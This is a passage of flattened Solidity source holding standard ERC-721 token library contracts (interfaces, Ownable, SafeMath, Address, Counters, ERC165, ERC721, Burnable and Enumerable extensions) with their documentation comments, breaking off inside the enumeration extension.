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pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This is an internal detail of the `ERC721` contract and its use is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns a specific ERC721 token.
* @param tokenId uint256 id of the ERC721 token to be burned.
*/
function burn(uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
